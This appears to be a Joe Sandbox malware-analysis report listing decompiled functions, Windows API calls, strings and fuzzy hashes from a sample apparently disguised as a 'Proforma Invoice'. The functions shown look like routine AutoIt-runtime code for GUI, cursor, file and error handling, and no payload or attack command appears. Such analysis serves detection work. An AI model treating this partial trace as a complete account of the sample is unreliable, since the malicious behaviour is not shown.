API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: d610342013db7b4d771f25e3b383053fc75a45b6ac3fecb8bd978d0c9be65a9f
Instruction ID: a99aa2e101af6b732cb343159531b5cd51d12493c313e7e3a7eb17a16cf27610
Opcode Fuzzy Hash: d610342013db7b4d771f25e3b383053fc75a45b6ac3fecb8bd978d0c9be65a9f
Instruction Fuzzy Hash: 8281C1B10082099BDB14DF10C881FBA77EAEF44314F04846DFE898A291DB34DD49CBA5

Function 0072C5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

DragQueryPoint.SHELL32(?,?), ref: 0072C627

Part of subcall function 0072AB37: ClientToScreen.USER32(?,?), ref: 0072AB60
Part of subcall function 0072AB37: GetWindowRect.USER32(?,?), ref: 0072ABD6
Part of subcall function 0072AB37: PtInRect.USER32(?,?,0072C014), ref: 0072ABE6

SendMessageW.USER32(?,000000B0,?,?), ref: 0072C690
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0072C69B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0072C6BE
_wcscat.LIBCMT ref: 0072C6EE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0072C705
SendMessageW.USER32(?,000000B0,?,?), ref: 0072C71E
SendMessageW.USER32(?,000000B1,?,?), ref: 0072C735
SendMessageW.USER32(?,000000B1,?,?), ref: 0072C757
DragFinish.SHELL32(?), ref: 0072C75E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0072C851

Strings

pbv, xrefs: 0072C79B
@GUI_DRAGFILE, xrefs: 0072C800
@GUI_DROPID, xrefs: 0072C77E
@GUI_DRAGID, xrefs: 0072C7C9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pbv
API String ID: 169749273-541951504
Opcode ID: d5a5d7b8991fee1cb3bbe1ae1108d4fbd05ee5d4f3803f9463409f401e46797b
Instruction ID: edaff27a69a36f671e8ed22347781f2a91aced6b3888ddb3f93ce8907ca6ad75
Opcode Fuzzy Hash: d5a5d7b8991fee1cb3bbe1ae1108d4fbd05ee5d4f3803f9463409f401e46797b
Instruction Fuzzy Hash: FA618971108301AFC711EF64DC85DAFBBF9EF99310F00492EF592961A1DB74AA09CB66

Function 006FABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 006FAC33

Strings

[LAST, xrefs: 006FACE0
[HANDLE:, xrefs: 006FAC3F
[REGEXPTITLE:, xrefs: 006FAC5B
HANDLE=, xrefs: 006FAC2C
[ACTIVE, xrefs: 006FAC20
[ALL, xrefs: 006FACD9
[CLASS:, xrefs: 006FAC83
REGEXP=, xrefs: 006FAC48
ACTIVE, xrefs: 006FAC0E
CLASSNAME=, xrefs: 006FAC70
LAST, xrefs: 006FABF8
ALL, xrefs: 006FACC7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 2f9c79e3566d26ecda5d794bc53f13a18f7fe54391d2332771e6d4f4ff33a049
Instruction ID: 96e8905585085ba2e5c4b796c2c8625f321b5306c87de3ed01dd7a9ed25241b6
Opcode Fuzzy Hash: 2f9c79e3566d26ecda5d794bc53f13a18f7fe54391d2332771e6d4f4ff33a049
Instruction Fuzzy Hash: 1531E5B1A4820DAADB48FAA4ED43EFE7767AF10711F20401DF906711D1EF956F08CA5A

Function 00714FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00715013
LoadCursorW.USER32(00000000,00007F00), ref: 0071501E
LoadCursorW.USER32(00000000,00007F03), ref: 00715029
LoadCursorW.USER32(00000000,00007F8B), ref: 00715034
LoadCursorW.USER32(00000000,00007F01), ref: 0071503F
LoadCursorW.USER32(00000000,00007F81), ref: 0071504A
LoadCursorW.USER32(00000000,00007F88), ref: 00715055
LoadCursorW.USER32(00000000,00007F80), ref: 00715060
LoadCursorW.USER32(00000000,00007F86), ref: 0071506B
LoadCursorW.USER32(00000000,00007F83), ref: 00715076
LoadCursorW.USER32(00000000,00007F85), ref: 00715081
LoadCursorW.USER32(00000000,00007F82), ref: 0071508C
LoadCursorW.USER32(00000000,00007F84), ref: 00715097
LoadCursorW.USER32(00000000,00007F04), ref: 007150A2
LoadCursorW.USER32(00000000,00007F02), ref: 007150AD
LoadCursorW.USER32(00000000,00007F89), ref: 007150B8
GetCursorInfo.USER32(?), ref: 007150C8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: be6c40d58a7e40908a21da5ba067c3f7e16b638d15924331068d27491772d427
Instruction ID: b3652001fe09e58a9e9358e7ff13f89053e97648403fe272f93b53606cbf3f04
Opcode Fuzzy Hash: be6c40d58a7e40908a21da5ba067c3f7e16b638d15924331068d27491772d427
Instruction Fuzzy Hash: 873105B1D0831DAADB109FBA8C8999EBFE8FB04750F50452AA50CE7280DA7C65408E95

Function 0072A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0072A259
DestroyWindow.USER32(?,?), ref: 0072A2D3

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0072A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0072A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0072A382
DestroyWindow.USER32(00000000), ref: 0072A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,006A0000,00000000), ref: 0072A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0072A3F4
GetDesktopWindow.USER32 ref: 0072A40D
GetWindowRect.USER32(00000000), ref: 0072A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0072A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0072A444

Part of subcall function 006A25DB: GetWindowLongW.USER32(?,000000EB), ref: 006A25EC

Strings

tooltips_class32, xrefs: 0072A346, 0072A3D4
0, xrefs: 0072A26F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: a904cb1b332a67690afe0d36e833f8477bc251359f2f438d3f8141a503bf57f3
Instruction ID: 674d520a5d9a6cccd52db369da1916451fc6bd8cdd89a49a4017bbeaeab45cc4
Opcode Fuzzy Hash: a904cb1b332a67690afe0d36e833f8477bc251359f2f438d3f8141a503bf57f3
Instruction Fuzzy Hash: 6871AB75140345AFD721DF28DC48F6A7BE6FB89700F04852CF986872A1C7B8E906DB66

Function 00724392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00724424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0072446F

Strings

GETTOTALCOUNT, xrefs: 00724456
COLLAPSE, xrefs: 007244B5
CHECK, xrefs: 0072448F
GETITEMCOUNT, xrefs: 00724551
EXPAND, xrefs: 00724521
SELECT, xrefs: 00724620
UNCHECK, xrefs: 0072464B
GETSELECTED, xrefs: 0072457F
GETTEXT, xrefs: 007245C2
ISCHECKED, xrefs: 007245F2
EXISTS, xrefs: 007244D8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 2b59eb5a2fd8ac27288c5a1590f6bdbdb6b415c630ee6594f51e97440e8c6a36
Instruction ID: 4bd9b92440fbac51025c46d3cce9114cc1d2e5d4e0488ee30af755f90e7437d5
Opcode Fuzzy Hash: 2b59eb5a2fd8ac27288c5a1590f6bdbdb6b415c630ee6594f51e97440e8c6a36
Instruction Fuzzy Hash: EC918C302043119FCB44EF20C851A6EB7E2AF96350F14886CF8965B3A2CB39ED59CB95

Function 0072B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0072B8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00726B11,?), ref: 0072B910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0072B949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0072B98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0072B9C3
FreeLibrary.KERNEL32(?), ref: 0072B9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0072B9DF
DestroyIcon.USER32(?), ref: 0072B9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0072BA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0072BA17

Part of subcall function 006C2EFD: __wcsicmp_l.LIBCMT ref: 006C2F86

Strings

.dll, xrefs: 0072B86D
.icl, xrefs: 0072B82A
.exe, xrefs: 0072B84A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 74fab5c5a45ba9ef242a986283afeb8167d2e94dba3490977470bb33f3a8437d
Instruction ID: cdd8ef6d9e2d21df6685bae584251c7d3cdd57af90755ce986ff25f52aeadd77
Opcode Fuzzy Hash: 74fab5c5a45ba9ef242a986283afeb8167d2e94dba3490977470bb33f3a8437d
Instruction Fuzzy Hash: 5461CF71900229FAEB14DF64EC41FBE77B8EB08710F108529FE15D61D1DB78A981DBA0

Function 0070DC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0070DCDC
SystemTimeToFileTime.KERNEL32(?,?), ref: 0070DCEC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0070DCF8
__wsplitpath.LIBCMT ref: 0070DD56
_wcscat.LIBCMT ref: 0070DD6E
_wcscat.LIBCMT ref: 0070DD80
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0070DD95
SetCurrentDirectoryW.KERNEL32(?), ref: 0070DDA9
SetCurrentDirectoryW.KERNEL32(?), ref: 0070DDDB
SetCurrentDirectoryW.KERNEL32(?), ref: 0070DDFC
_wcscpy.LIBCMT ref: 0070DE08
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0070DE47

Strings

*.*, xrefs: 0070DE02

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 5969e01b1b3829239dd069d4b551bbed3d1346704ab2703b0cc760e2a9b986ab
Instruction ID: d39655645a523379c3cbf5325938418d99725588594e2bebf68e4a774c64b7fe
Opcode Fuzzy Hash: 5969e01b1b3829239dd069d4b551bbed3d1346704ab2703b0cc760e2a9b986ab
Instruction Fuzzy Hash: 47614A725043059FCB20EF60C8449AFB3E9FF89314F04492EE98997291DB79ED45CBA6

Function 00709C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00709C7F

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00709CA0
__swprintf.LIBCMT ref: 00709CF9
__swprintf.LIBCMT ref: 00709D12
_wprintf.LIBCMT ref: 00709DB9
_wprintf.LIBCMT ref: 00709DD7

Strings

"%s" (%d) : ==> %s:, xrefs: 00709DD2
Line %d (File "%s"):, xrefs: 00709CF3, 00709D0C
Incorrect parameters to object property !, xrefs: 00709D5B
^ ERROR , xrefs: 00709D4E
"%s" (%d) : ==> %s:%s%s, xrefs: 00709DB4
Error: , xrefs: 00709D81

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 6b95288e45f2ab3b5ef1fadd56555c9999cf3f5f352a3a9e574ec2b5ec786f1b
Instruction ID: 40a128a21bfac9498abfbf1d41cf670599b4fba87d94fc46e6e279f29c349f38
Opcode Fuzzy Hash: 6b95288e45f2ab3b5ef1fadd56555c9999cf3f5f352a3a9e574ec2b5ec786f1b
Instruction Fuzzy Hash: AC51BD71900609AACB54FBE0CD42EEEB77AEF05300F504169F506721A2EB792E49DF68

Function 0070A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

CharLowerBuffW.USER32(?,?), ref: 0070A3CB
GetDriveTypeW.KERNEL32 ref: 0070A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0070A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0070A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0070A4C5

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

Strings

wait, xrefs: 0070A482
type cdaudio alias cd wait, xrefs: 0070A443
open, xrefs: 0070A3F2
open , xrefs: 0070A427
closed, xrefs: 0070A3DF, 0070A3E8
close cd wait, xrefs: 0070A4B0
close, xrefs: 0070A3D1
set cd door , xrefs: 0070A466

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: be8987642b50de350b7c422067fba0a9dd12753b008e8b2a278051476f5f001d
Instruction ID: 65bcf15a97dd4756ae1ac61d0e501e965dec981238d063cf0d542f886c94eac1
Opcode Fuzzy Hash: be8987642b50de350b7c422067fba0a9dd12753b008e8b2a278051476f5f001d
Instruction Fuzzy Hash: 7A518D711043049FC780EF24C88196BB3E5EF89718F10896DF896672A1DB75ED0ACF96

Function 006FF8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,006DE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 006FF8DF
LoadStringW.USER32(00000000,?,006DE029,00000001), ref: 006FF8E8

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,006DE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 006FF90A
LoadStringW.USER32(00000000,?,006DE029,00000001), ref: 006FF90D
__swprintf.LIBCMT ref: 006FF95D
__swprintf.LIBCMT ref: 006FF96E
_wprintf.LIBCMT ref: 006FFA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 006FFA2E

Strings

^ ERROR, xrefs: 006FF9C3
Line %d (File "%s"):, xrefs: 006FF957
%s (%d) : ==> %s: %s %s, xrefs: 006FFA12
Line %d:, xrefs: 006FF968
Error: , xrefs: 006FF9E5

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 503feb13a8f389b78834f3ce26ccda3de16422ba8120d658add40bb1647e4a2d
Instruction ID: d396c822e73c2b5e5ab374668aeebb4240aa602e56e556987eef40799a90007b
Opcode Fuzzy Hash: 503feb13a8f389b78834f3ce26ccda3de16422ba8120d658add40bb1647e4a2d
Instruction Fuzzy Hash: C3414E7280020DAACB44FBE0DD46EFEB77AAF15300F500069F60676192EA756F09CF69

Function 0072BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 0072BA56
GetFileSize.KERNEL32(00000000,00000000), ref: 0072BA6D
GlobalAlloc.KERNEL32(00000002,00000000), ref: 0072BA78
CloseHandle.KERNEL32(00000000), ref: 0072BA85
GlobalLock.KERNEL32(00000000), ref: 0072BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0072BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0072BAA6
CloseHandle.KERNEL32(00000000), ref: 0072BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0072BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00732CAC,?), ref: 0072BAD7
GlobalFree.KERNEL32(00000000), ref: 0072BAE7
GetObjectW.GDI32(?,00000018,000000FF), ref: 0072BB0B
CopyImage.USER32(?,00000000,?,?,00002000), ref: 0072BB36
DeleteObject.GDI32(00000000), ref: 0072BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0072BB74

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 3c2a55b89c70073bcdbcbe87b5cba36dd003e1dad0297f35b624da124a045739
Instruction ID: 2512b07de20234786944f9feeaa430d609d5bb22df04cb1025b76705c6b0a9a6
Opcode Fuzzy Hash: 3c2a55b89c70073bcdbcbe87b5cba36dd003e1dad0297f35b624da124a045739
Instruction Fuzzy Hash: 35413A75600218EFDB219F65EC88EAEBBB8FF89711F108068F905D7260D7789D02CB64

Function 0070D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0070DA10
_wcscat.LIBCMT ref: 0070DA28
_wcscat.LIBCMT ref: 0070DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0070DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 0070DA63
GetFileAttributesW.KERNEL32(?), ref: 0070DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 0070DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 0070DAA7

Strings

*.*, xrefs: 0070DAE6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 26ade9e8205b5e30af3827cad069c779ef38601700421289d944de7052b09924
Instruction ID: 797040ee63ee944bdddbbe51b7f60b17af4dbd56371ef56182858ea79945dcde
Opcode Fuzzy Hash: 26ade9e8205b5e30af3827cad069c779ef38601700421289d944de7052b09924
Instruction Fuzzy Hash: 178174B1514341DFCB74EFA4C84496AB7E9EF85310F148A2EF889C7291E638ED45CB52

Function 0072C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0072C1FC
GetFocus.USER32 ref: 0072C20C
GetDlgCtrlID.USER32(00000000), ref: 0072C217
_memset.LIBCMT ref: 0072C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0072C36D
GetMenuItemCount.USER32(?), ref: 0072C38D
GetMenuItemID.USER32(?,00000000), ref: 0072C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0072C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0072C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0072C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0072C489

Strings

0, xrefs: 0072C33A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
